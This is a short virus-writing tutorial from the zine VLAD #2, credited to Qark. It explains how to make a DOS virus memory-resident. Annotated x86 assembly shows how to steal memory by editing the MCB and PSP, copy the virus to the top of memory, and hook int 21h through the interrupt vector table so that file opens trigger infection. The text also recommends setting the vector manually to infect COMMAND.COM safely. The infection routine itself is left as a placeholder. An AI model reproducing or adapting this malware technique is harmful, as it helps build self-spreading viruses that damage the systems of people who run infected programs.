TSR tutorial!
+-----------+
Of course when first learning to do something you must start from
the very beginning, writing a TSR virus comes round about after the
parasitic stage. If you can't do this, then I suggest you study up
on it before checking this out :). According to some releasing even
a parasitic infector is lame, so heh.. I guess this might come in
handy for someone.
Ok, well here goes the tutorial:
When a program is loaded, the memory around it looks like this:
| |
| |
| This is the EXE/COM |
| Program that is |
| infected. |
|______________________|
|Program Segment Prefix|
| (Shortened to PSP) | This is 100H bytes long.(256 bytes)
|______________________|
| Memory Control Block |
| (Shortened to MCB) | This is 10H bytes long. (16 bytes)
|______________________|
On entry to both COM and EXE files DS and ES contain the segment of the
PSP (Program Segment Prefix).
To get the MCB (Memory Control Block) we go:
mov ax,ds ;DS=PSP
dec ax
mov ds,ax ;Now DS=MCB
This is because the MCB hides one paragraph (paragraph=16 bytes) below
the PSP. The MCB is what DOS uses to allocate memory.
MCB Format
;******************
DS:[0] = MCB Type. - Either Z or M block.
DS:[3] = Size of block / 16.
;******************
Next go:
cmp ds:[0],'Z' ;We want a Z block because Z are the last.
jne fuck_off
sub ds:[3],memory_we_want/16
;Now DOS thinks it has less memory. So we put
;the virus in the gap.
In the PSP at position 2 is the segment address of the top of memory.
To save us calculating it from the MCB it is much easier to manipulate
this data. So:
sub ds:[12h],memory_we_want/16
;DS:[12h] now contains the segment where we put our virus.
mov ax,word ptr ds:[12h]
mov es,ax ;ES=Place to put virus.
push cs
pop ds ;DS=CS
xor di,di
;We assume SI=Start of virus.
mov cx,virus_length ;How many bytes to move.
rep movsb ;Move CX bytes from DS:SI to ES:DI
;That should move your virus to the TOM (top of memory)
I have started rushing here. Not too fast I hope. Now what you have
to do is point your interrupt (int21h) at the handler within your virus.
Setting the interrupt vector manually (without using int21h) is best
because then you can infect COMMAND.COM safely. Anyway, the interrupt
vector table is located at segment 0.
xor ax,ax ;Zero AX
mov ds,ax ;DS=0=Interrupt Vector table.
All interrupts are located at their number multiplied by four. They
are laid down with the offset first and then the segment.
mov ds:[21h*4],offset int21handler ;Offset of virus routine
mov ds:[21h*4+2],es ;Segment of virus routine
This code will set int21h to run your virus handler. But before
putting your virus in memory you should save the original Offset:Segment
in your handler so that you can return to it later on.
Your handler should look like this:
int21handler proc far
cmp ah,3dh ;This is file open.
jne go_int
push everything
do infection and shit
pop everything
go_int:
db 0eah ;This stands for jmpf
dw orig_int21_offset
dw orig_int21_segment
int21handler endp
There's also other stuff like checking for residency where you pass
into int 21h a unique register pattern and test for it and return another
weird pattern to confirm its residency. But I'm sure you'll work it out.
Ok, that'll do for another lame tutorial by Qark. Look out for more
lame tutorials, beleive me, there'll be many! :)
(With intro by Metabolis)
- VLAD #2 INDEX -